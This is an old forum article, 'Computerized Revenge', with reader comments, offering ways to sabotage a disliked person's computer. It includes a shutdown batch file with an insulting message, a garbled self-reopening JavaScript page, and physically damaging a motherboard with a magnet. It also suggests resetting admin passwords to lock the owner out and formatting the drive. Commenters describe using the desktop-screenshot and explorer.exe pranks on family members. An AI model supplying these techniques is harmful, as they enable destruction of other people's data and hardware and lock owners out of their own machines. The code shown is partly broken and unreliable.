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Computerized Revenge


Computerized Revenge

By ghostghost | 6465 Reads |
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If someone has pissed you off, here are some very evil and malicious things you can do to their computer if you have physical access or get someone stupid..you'll see what i mean:

1.) For the admin, craft a nice little .bat file. Here : AUTOEXEC.bat <—name of file save into the c:\ @echo off <––turns the echo off… shutdown * -s -t 5 -c That's what you get for f*cking with me! <—shuts down computer and displays that little message on the screen. Shuts down after 5 seconds (-t).

2.) Either you're user is not an admin, or you just don't like that technique, you could craft a fun little html page.(remember to use brackets) html title have a nice day /title head h1 Curiousity killed the Cat! /h1 /head body script type="text/javascript"> loops=3 num=1 while(num=loops) {window.open="the name of this page (.html, fun.html, whatever you named it)" /script script language="Javascript"> self.location=self.location> /script /body /html

Now, get them to open it up and watch


This is from a friend named Ice_Maiden

My fave little revenge technique is simple, and has them guessin for hours what the fcuk happened.

well theres a few

  1. unplug as much as you can from the inside…. most people dont check whether the harddrive is plugged in…..lol funny watchin them scratchin their heads

  2. stick a magnet behind the motherboard, takes a while to work… but will work for good, only use on those that really do your head in, like teachers

  3. Change the admin passwords…. just go into safe mode and change em all…. then watch em format it

  4. Format it anyway if u have the time… but if u really wanna confuse them, save a screenshot of their old desktop and use it as the wallpaper… just remember to save it to floopy BEFORE u format….

yeah this is all simple stuff, but its funny as fcuk to watch,a nd takes little to no knowledge or effort to do…lol

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ghost 19 years ago

hah hah hah, that's really funny, with the screen shot thing. XD

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Mr_Cheese 19 years ago

also, taking a screen shot of the desktop, and them saving it as walpaper, then deleteing all the shortcuts. That will puzzle them.

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ghost 19 years ago

Fantastic! Except i think the magnet behind the mobo is a:o bit harsh.

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ghost 19 years ago

lol, i like the dektop wall paper idea lol

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ghost 18 years ago

Lol i did that wallpaper thing to my dad! It was hilarious!

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Nubzzz 18 years ago

rofl screenshot that is freking holarious I just did it to my sis and she didnt know what the fuck to do

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ghost 18 years ago

Good artical.. hehe.

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ghost 18 years ago

once again like everyone else i love the idea about the fake destktop image lol hhahahaha omg

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ghost 17 years ago

Screen shot modified (sorry for the double post): okay, the first step is displayed above. Make it the wallpaper, yada yada yada. Then, for the kicker, right click somewhere on the desktop and go into arrange icons–>Display icons so it is unchecked. Then, do control alt delete and go to processes. Find the process (EXE file) explorer.exe. End it. Viola! You now have a COMPLETELY useless dektop. By ending the explorer.exe, you ended the start bar (dont worry, all programs and things are still there, just not displayed.) To take off their misery, change the desktop back to sumthin else, do the same thing with the right clicking of the desktop, and when you really wanna give them their start bar back, do control alt delete –> file –> new task (Run…)–> "explorer.exe" without quotes. heh have fun!! ^^